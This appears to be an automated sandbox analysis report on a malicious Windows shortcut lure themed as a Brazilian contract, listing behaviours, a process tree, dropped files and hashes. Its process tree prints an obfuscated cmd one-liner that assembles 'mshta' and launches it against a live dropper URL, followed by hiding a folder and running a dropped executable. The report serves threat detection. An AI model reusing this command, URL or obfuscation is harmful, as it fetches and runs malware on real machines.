Analysis

  • max time kernel
    41s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/08/2026, 12:43

General

  • Target
    Contrato_Indeniza_Brasil-RAR8FH.lnk
  • Size 1KB
  • Sample260803-pycsmshf58
  • SHA256 c4a028142e2e735b155fb47fbd916a5fed6a3105de4ca0d05b5a7a85098b51c5
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
  • Modifies registry class 24 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-RAR8FH.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3896
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /V:on /C "set jr=msh&&set qQuS=ta&&start "" !jr!!qQuS! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3056
      • C:\Windows\System32\mshta.exe
        mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
        3⤵
        • Badlisted process makes network request
        • Checks computer location settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:5004
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4016
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:1532
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2700
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:2012
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1792
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:4044
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:468
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
              PID:1224
          • C:\Windows\System32\attrib.exe
            "C:\Windows\System32\attrib.exe" +h +s "C:\enpqotlm\"
            4⤵
            • Views/modifies file attributes
            PID:460
          • C:\enpqotlm\enpqotlm.exe
            "C:\enpqotlm\enpqotlm.exe" C:\enpqotlm\enpqotlm
            4⤵
              PID:2484
            • C:\Windows\System32\rundll32.exe
              "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
              4⤵
                PID:3848
                • C:\Windows\system32\rundll32.exe
                  C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                  5⤵
                    PID:3620
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                  4⤵
                  • Executes a command shell one-liner
                  • System Network Configuration Discovery: Internet Connection Discovery
                  PID:692
                  • C:\Windows\System32\PING.EXE
                    ping -n 300 -w 1000 127.0.0.1
                    5⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:4684

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                103621DE9CD5414CC2538780B4B75751

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
                • Size 808B
                • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
                • MD5 SHA1 SHA512 TLSH

                1B1495DD322A24490E2BF2FAABAE1C61

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
                • Size 355B
                • SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
                • MD5 SHA1 SHA512 TLSH

                22D536C4B4AD2CEF7AC6B7789FD235E3

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
                • Size 283B
                • SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
                • MD5 SHA1 SHA512 TLSH

                9DD9D8EB1173CB9DA0F6DAA87673F76F

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9DD9D8EB1173CB9DA0F6DAA87673F76F
                • Size 35KB
                • SHA256 7a428311e98280aff08b814fe3c5549da2fa2cfdb1bd0e27096068db79211ac8
                • MD5 SHA1 SHA512 SSDEEP TLSH

                103621DE9CD5414CC2538780B4B75751

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
                • Size 192B
                • SHA256 8cc16eff7201bf22b644b2b75af31576af3f7d49c2a155b27bd437bf7c5188d7
                • MD5 SHA1 SHA512 TLSH

                1B1495DD322A24490E2BF2FAABAE1C61

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
                • Size 192B
                • SHA256 5344530e54c009ed79cc569c562ce6a2fe9be09fa05d7b12af2ba04f9d9c819d
                • MD5 SHA1 SHA512 TLSH

                22D536C4B4AD2CEF7AC6B7789FD235E3

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
                • Size 192B
                • SHA256 991589da362ec734b3fb85f76beb65ad2df7c8a554367f1cf41e57ab07f9dd60
                • MD5 SHA1 SHA512 TLSH

                9DD9D8EB1173CB9DA0F6DAA87673F76F

                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9DD9D8EB1173CB9DA0F6DAA87673F76F
                • Size 246B
                • SHA256 99549ef02b9ea368b347238b1840afe1f9cd32e7c0b29b001cd5272b2a564ad8
                • MD5 SHA1 SHA512 TLSH

                a1.zip

                • Path C:\enpqotlm\a1.zip
                • Size 494KB
                • SHA256 3c0436b82e19d6c7ed2e86c3b18dbca424647992470d2901fe61ffdd6908c401
                • MD5 SHA1 SHA512 SSDEEP TLSH

                a2.zip

                • Path C:\enpqotlm\a2.zip
                • Size 1.3MB
                • SHA256 c12184353ee051756ce61e5061d439ae1537adad8abcec55a0a130df8fb4bd06
                • MD5 SHA1 SHA512 SSDEEP TLSH

                a3.zip

                • Path C:\enpqotlm\a3.zip
                • Size 2KB
                • SHA256 ed4d8878d4bd823528cfcc1c8fbd916a20f2ee39645198339ef4418238cdd7c1
                • MD5 SHA1 SHA512 TLSH

                enpqotlm

                • Path C:\enpqotlm\enpqotlm
                • Size 1.3MB
                • SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
                • MD5 SHA1 SHA512 SSDEEP TLSH

                enpqotlm.exe

                • Path C:\enpqotlm\enpqotlm.exe
                • Size 957KB
                • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/2484-93-0x0000000000400000-0x00000000005C7000-memory.dmp